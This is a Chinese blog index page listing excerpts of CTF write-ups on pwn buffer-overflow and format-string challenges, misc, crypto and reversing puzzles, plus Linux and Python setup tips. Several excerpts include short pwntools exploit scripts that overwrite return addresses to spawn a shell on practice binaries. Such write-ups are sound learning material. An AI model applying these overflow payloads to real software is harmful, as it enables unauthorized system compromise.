- 博客(49)
- 资源 (1)
- 收藏
- 关注
原创 name ‘display‘ is not defined
出现这种错误的时候只需要在头部加上from IPython.core.display import display就能解决
2022-05-05 20:05:03 2034
原创 name ‘display‘ is not defined
出现这种错误的时候只需要在头部加上from IPython.core.display import display就能解决
2022-04-20 17:26:22 1382
原创 BUUCTF pwn1_sctf_2016
执行一下似乎出现第一个i被替换成you检查一下保护机制丢到ida里面输入的变量s大小为0x3c,但是我们看fgets里面,我们只能输入32个字符,没法进行溢出,我们在输入的时候,会发现i会被替换成you,所以我们可以利用20个i来填充,找到shell,地址为0x8048F0D返回地址再随便填四个字符我们可以构造一下payloadpayload = ‘I’*20 + p64(0x8048F0D)这里特别注意一下payload可以有多种写法‘I’ *19 + ‘A’*7 + p
2022-04-08 20:13:46 3453 1
原创 pwnthebox-rip
gets函数不限制输入的长度,存在溢出查看栈空间,payload = 0xf + 8发现fun()函数,构造expfrom pwn import *p = process('pwn1')#p = remote('redirect.do-not-trust.hacking.run',10026)payload = b'A'*0xF+ p64(0x401186)p.sendline(payload)p.interactive()...
2021-12-02 21:25:37 2614
原创 [第五空间2019 决赛]PWN5
srand会生成一个随机数放到804c044中,当password和随机数相等,就getshell我们看到,有两个输入点,name有回显,这里有明显的格式化字符串漏洞,
2021-12-02 20:17:18 130
原创 攻防世界-进阶区-实时数据监测
将35795746换成十六进制0x2223322(按H)根据函数,只需要令key等于0x2223322即可getshell查看一下 imagemagic()函数存在格式化字符串漏洞具体看wiki:https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/了解到一个骚操作fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')第一个参数表示格式化字符串...
2021-12-01 21:31:57 2951
原创 buuctf-misc刷题(三)
FALG属性查看一波,没东西,stegsolve过一波,lsb都没发现,然后丢binwalk,也没发现什么,无奈找大佬的wp发现stegsolve里面lsb,rgb通道里面有压缩包,看文件头是压缩包的头部,将其savebin保存为zip文件解压缩之后,查看file文件类型,是ELF文件,ida打开假如给我三天光明给了一张图片和一个压缩包,压缩包有密码,图片上有一群小点,直接见过,是盲文对照一下,kmdonowg这个就是密码,打开压缩包,得到音频文件,是莫斯密码对照写一下-.
2021-11-06 15:56:44 785 2
原创 buuctf-密码学刷题(一)
Rabbit有一个Rabbit解码:http://www.jsons.cn/rabbitencrypt/变异凯撒没有思路,看了一下大佬的博客,发现是ascall码,afZ_ ASCII码分别是97,102,90,95而flag的ASCII码则是102 108 97 103,97+5=102;102+6=108;90+7=97;95+8=103,找了两个脚本C语言#include<stdio.h>int main(){int i;char a[30]=“afZ_r9V
2021-10-30 20:47:05 2673
原创 buuctf-misc刷题()
qr二维码题直接得到flag被嗅探的流量包HTTP过滤一波,发现上传的是upload.php文件后面有JPEG,一个一个TCP追踪流,搜索flag先用stegsolve分析一波,没有什么东西lsb走一波这个就是flagningenstegsolve走一波,lsb也没有,丢Kali里面用binwalk分析一下foremost分离一下一张图片,一个压缩包,压缩包需要密码,那可以从分离的图片入手,丢进stegsolve,找不到东西,再看看题目,直接试试爆破小明的保
2021-10-30 08:13:24 288
原创 buuctf-re刷题(一)
新年快乐只有两个函数,可能加壳了,使用PEID进行脱壳upx加壳利用万能脱壳工具进行脱壳把脱好壳的函数放进ida里面,就可以看到各个函数,查看一下main函数可以看到这个程序的目的是把str2的长度和内容和你输入的值进行对比,所以很显然HappyNewYear!就是flagxor丢入ida这里可以看到flag的长度是33位,如果输入的值不等于33位,则会失败可以看到,这个程序主要是讲这个数组里面的相邻两位进行xor比较看了网上大佬的博客,发现可以直接用它的字符去进行操作
2021-10-29 16:22:50 429
原创 SyntaxError: Non-ASCII character ‘\xe5‘ in file pwn2.py on line 15, but no encoding declared; see ht
SyntaxError: Non-ASCII character ‘\xe5’ in file pwn2.py on line 15, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details这个问题是没有进行中文的编码去掉注释㎝的中文或者在开头加上coding=UTF-8(coding:UTF-8也可以)或者– coding:UTF-8 –...
2021-10-21 21:42:50 176
原创 buuctf-N1Book[第六章 CTF之PWN章]
64位,开启了NX保护shift + F12查看里面的字符串发现自带system和bin/sh的地址bin_sh = 0x400537gets函数对输入的长度没有限制查看一下v1的栈空间需要填充0xA + 0x8的空间payload = “A” *(0xA + 8)由于存在栈对齐,所以还要加一个地址ret = 0x40054E构造的exp如下from pwn import *#p = process("./stack")p = remote("node4.buuoj..
2021-10-17 16:20:38 2341
原创 buuctf-pwn刷题(二)
ciscn_2019_n_1直接运行一波猜数字的checksec file一下放入ida发现func函数里面有 东西这个是一道溢出题,我们输入的数字给v1,但是在进行判断的时候,用的是v2,我们需要溢出v2,使其等于目标值查看一下栈空间我们发现v2在栈上04的位置,也就是(0x30-4)11.28125转化为十六进制为0x41348000pay load= b’A’*(0x30-4) + p64(0x41348000)from pwn import *payload =
2021-10-15 20:58:07 2108
原创 buuctf-misc刷题(一)
10月份刷题(第三周)1.jinsanpwn解压之后是GIF图片,中间会闪过红色图片,依稀可以看到flag字样,应该是里面掺杂着其他的图片,用GifSplitter将其分解一下可以得到flag2.二维码发现是个二维码,利用QR_Research进行扫描,没什么东西,再试试Stegsolve分析图片,什么也没有,再看看色道,也是什么都没有,binwalk分析一下里面有个压缩包,用foremost分离一下压缩包需要密码可以利用zip爆破工具进行爆破设置参数很容易得到爆破结果
2021-10-15 20:51:08 319
原创 pwn的一些常用命令
libc的查找利用Python 3.6.9 (default, Jan 26 2021, 15:33:00) [GCC 8.4.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> from pwn import *>>> elf = ELF('libc_32.so.6')[*] '/home/hacker/Desktop/pwnstudy_fi
2021-10-06 18:01:42 460
原创 Python文件读写的基本操作
文件操作###1.1 文件的打开和关闭f = open(‘main.py’,‘w’)f.close()文件访问模式访问模式 说明r 以只读方式打开文件。文件的指针将会放在文件的开头。这是默认模式。w 打开一个文件只用于写入。如果该文件已存在则将其覆盖。如果该文件不存在,创建新文件。a 打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。rb 以二进制格式打开一个文件用于只读。文件指针将会放在
2021-09-26 18:06:44 268
原创 buuctf逆向刷题
easyre直接丢ida里面,就能看到flagreverse1F5反编译,查看函数有点多,shift + F12查找字符串strncmp函数比较Str1和Str2是否xiangt同时当字符的值是111时,要换成48双击Str2为了锻炼编程思想,写个脚本吧key = "{hello_world}"flag = ''for i in key: if i == "o": flag = flag + "0" else: flag = f
2021-09-22 20:19:21 272
原创 攻防世界-pwn新手区-level3
先检查运行一下ida看一下vulnerable_function函数发现存在溢出,栈空间136,可以输入的长度256但是没有发现system函数和/bin/sh题目给了libc文件,可以 考虑利用一下把libc丢到ida里面
2021-09-22 16:12:35 390
原创 第五空间网络安全大赛pwn-bountyhunter
先运行一下查看一下保护机制开启了NX保护丢入IDApro里面查看一下查看一下vulnerable_function()函数栈空间是144,但是可以读入的大小是0X200,常规的栈溢出题目查看buf栈空间shift+F12查看字符串发现system和/bin/sh,构造payload...
2021-09-20 15:45:57 422
原创 1.0 pwn学习前言
(这篇博客纯粹是记录我学习pwn的一些感悟,可能有些废话,后续会详细写一下具体的知识点)学习pwn也有一段时间了,从之前题都看不懂题目,到现在可以做出一部分题,这中间也是有很多体会的,计划把这些记录一下,给以后师傅们学pwn提供一些参考。我最开始接触的是web、misc和密码学,pwn和逆向实验室搞的也不多,...
2021-08-13 14:41:40 234
原创 攻防世界-pwn新手区-cgpwn2
先运行一下老规矩,checksec 和filepie和canary关了ida 查看一下hello函数name在bss段有没有发现bin/sh所以我们可以自己写一个shellcodename_bin_sh = 0804A080看一下s的栈空间00000027 db ? ; undefined-00000026 s dw ?-00000024 db ? ; undefined-0000002
2021-08-11 08:38:31 254
原创 攻防世界-pwn新手区-int_overflow
看题目就知道是整形溢出运行一下检查一下保护机制丢入32位ida里面发现一个函数可以通过覆盖跳转到这个函数就可以拿到flagsystem_addr = 0x804868Bcheck_passwd处有一个判定,输入的数字要在3和8之间否则就直接退出在这里需要说明一下,这个unsigned int就是无符号的整型,我们要知道,在计算机中,所有的数据指令都是以二进制的形式存在的,010101这样,那么正负数怎么存在呢,这里就有一个符号位,一般是在一段数据的第一个位置比如260的十六进制
2021-08-10 14:08:36 289
原创 攻防世界-pwn新手区-guess_num
发现get()危险函数,该函数可以进行任意长度的输入下面有seed函数,该函数为C语言中产生随机数的种子。查看一下其栈空间我们可以去覆盖一下这个seed地址看了一下其他大佬的博客,知道可以用python的内置函数ctypes,进行C语言代码的调试只需要将种子覆盖为1,然后调用C语言的libc共享库,得到这个种子产生的随机值,就能够保证每次猜对了。from pwn import *from ctypes import *context(os='linux',arch='amd64',lo.
2021-08-09 17:36:20 212
原创 printf()函数的调用格式
转自百度百科printf()函数的调用格式为:printf("<格式化字符串>", <参量表>);其中格式化字符串包括两部分内容: 一部分是正常字符, 这些字符将按原样输出; 另一部分是格式化规定字符, 以"%“开始, 后跟一个或几个规定字符,用来确定输出内容格式。参量表是需要输出的一系列参数, 其个数必须与格式化字符串所说明的输出参数个数一样多, 各参数之间用”,“分开, 且顺序一一对应, 否则将会出现意想不到的错误。规定符%d 十进制有符号整数%u 十进.
2021-08-08 12:03:18 1556
原创 hexo搭建博客
首先去node.js官网:https://nodejs.org/下载安装包下载合适的版本在安装目录下打开终端查看node的版本:node -v利用npm安装淘宝的cnpmnpm install -g cnpm --registry=https://registry.npm.taobao.org使用cnpm安装hexocnpm install -g hexo-cli[hexo-cli@4.2.0] link C:\Users\root\AppData\Roaming\npm\hexo@ -
2021-07-27 20:36:25 115
原创 pwn学习-pwntools
利用Python交互pwn对程序进行调试from pwn import *p = process('./a.out')p.readp.read()p.send('helloworld')p.read()p.close()from pwn import *p = process('./a.out')p.send('\x01\x02\x03')a=p.read()a添加debug进行调试context。log_level='debug'p = process('./a.out.
2021-07-27 20:35:08 307
原创 ubuntu18在docker下安装pwntools
首先要换源,这步特别特别重要。然后安装docker$ sudo apt install docker.io
2021-07-27 12:21:01 384
原创 攻防世界-pwn新手区-level2
根据题目提示,这个题需要使用rop运行一下,再file一下检查一下保护机制丢入ida查看vulnerable_function函数,发现有system,证明plt表有这个数据可以发现申请0x88的空间,但是却能输入0x100,存在栈溢出和之前的题目相比,这次没有"/bin/sh"函数结合题目的提示,我们需要自己构造ropbuf为0x88,加四个字节到返回地址ret,利用gdb打印system的地址system_addr = 0x8048320发现有’/bin/sh’bi.
2021-07-26 13:51:10 311
原创 攻防世界-pwn新手区-level0
下载附件,执行一下,64位程序checksec一下NX执行保护开启丢进ida里面分析一下F5反编译发现return到一个函数里面,点击查看一下发现申请的栈空间是0x80,read的值却是0x200,说明存在栈溢出然后点击callsystem这个函数,发现shell,也就是说我们需要利用栈溢出覆盖到callsystem函数的返回地址0x400596执行shell。查看buf的栈空间shell_addr = 0x400596payload = ‘A’*(0x80+8) + p.
2021-07-26 12:02:42 261
原创 攻防世界-pwn新手区-get_shell
我们尝试运行一下,好家伙,直接就getshellnc连一下ls一下直接cat flag吧这样是不是有点简单丢进ida分析一下F5反编译一下发现是在程序里面就直接调用system函数,直接getshell,签到题。
2021-07-26 11:38:44 467
原创 buuctf刷题(一)
test_your_ncidapro反编译一下,发现直接就system("/bin/sh");这个直接用nc连一下,然后cat flagrip老规矩,checksec一下,file 一下,64位,扔进ida里面发现shell,应该是个栈溢出查看栈空间,shell地址构造payload=b’A’+p64(0x401186)expwarmup_csaw_2016 1运行一下老规矩checksec 一下啥保护都没开丢ida里面sprintf后面的函数点击进
2021-07-26 10:24:37 222
原创 ubuntu换源
1.备份文件mv /etc/apt/sources.list /etc/apt/sourses.list.backup2.修改文件sudo chmod 777 /etc/apt/sources.list //切换到root用户 或者su一下切换rootvi /etc/apt/sources.list 删除所有的代码阿里云镜像deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiversed
2021-07-09 16:24:34 148
原创 DVWA-CSRF
定义CSRF(Cross-site request forgery),中文:跨站请求伪造。我的理解是对方盗取你的身份,以你的名义向服务端发送请求。和XSS看起来有点类似,都有跨站;但是XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。low<?phpif( isset( $_GET[ 'Change' ] ) ) { // 获取两次输入的密码 $pass_new = $_GET[ 'password_new' ]; $p
2021-06-16 16:56:47 103
原创 N1BOOK-[第一章 web入门]粗心的小李
先打开页面在网上找到一个git源码泄露工具,Gitcracker注意这个需要用python2 python2 GitHack.py http://c2575ba2-e034-435d-b166-48630fec1743.node3.buuoj.cn/.git/这个工具会自己爬取备份文件,打开这个和html文件得到flag。...
2021-06-16 16:55:50 464
原创 攻防世界-pwn新手区-hellopwn
拿到文件先file看一下是什么类型,然后checksec一下查看保护机制。发现是64位程序,开启了NX(Non-Executable Memory,不可执行内存。了解 Linux 的文件有三种属性,即 rwx,而 NX 即没有 x 属性,意味着栈中数据没有执行权限。尝试运行一下没啥用,丢idapro里面编写expfrom pwn import*p = remote('111.200.241.244',52090)111.200.241.244:52090payload = 'aaaa'
2021-06-16 16:55:09 206
原创 Python2和Python3Windows下pip
python3 -m pip install --upgrade pip --force-reinstallpython2 -m pip install --upgrade pip --force-reinstall
2021-06-16 16:54:25 116
原创 kali linux 开启ssh服务
连不上最近想搞AWD靶场,连虚拟机发现ssh连不上,今天会了,来记录一下。首先需要知道kali是自带ssh的,如果是其他版本可能需要下载openssh-servercentos可以用这个命令查看是否安装yum list installed | grep openssh-server如果没有就yum install openssh-serverubuntu用这个sudo apt-get install openssh-server;切换到/etc/ssh目录下修改ssh_config
2021-06-15 07:57:15 598
原创 iscc训练赛-A记录
今天又是涨知识的日子,学了几道题,今天才发现流量包可以加密。题目是要看小明看的是什么网站,A记录百度一下也就是要过滤一下dns这个下载后是一个流量包,用wireshark打开发现出错经过大佬指点知道是流量包加密,怎么办?百度一下,发现竟然是19年的原题,ok,首先要判断一下这个流量包的信息,这里有一个工具需要了解,airdecap-ng这是kali自带的工具root@kali:~# airdecap-ng Airdecap-ng 1.3 - (C) 2006-2018 Thomas
2021-06-07 20:11:52 197
原创 bugku-awd 初体验
昨天第一次尝试打bugku的awd,菜的一批,加固时间全用来登录了,忙活半天看到下面页面以后putty连接注意事项:这个ip和普通ip有差别:192-168-1-124.pvp233.bugku.cn注意端口是2222连上以后,用户名输team+你的编号,比如我的用户名是team1密码的话如果不想手输,可以shift+insert粘贴(注意:在Linux中不能用ctrl+v进行粘贴)putty如果长时间不进行操作可能会掉线,如果遇见没反应的话,不要慌,关了重新登录就行
2021-05-26 12:15:28 7262 9
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人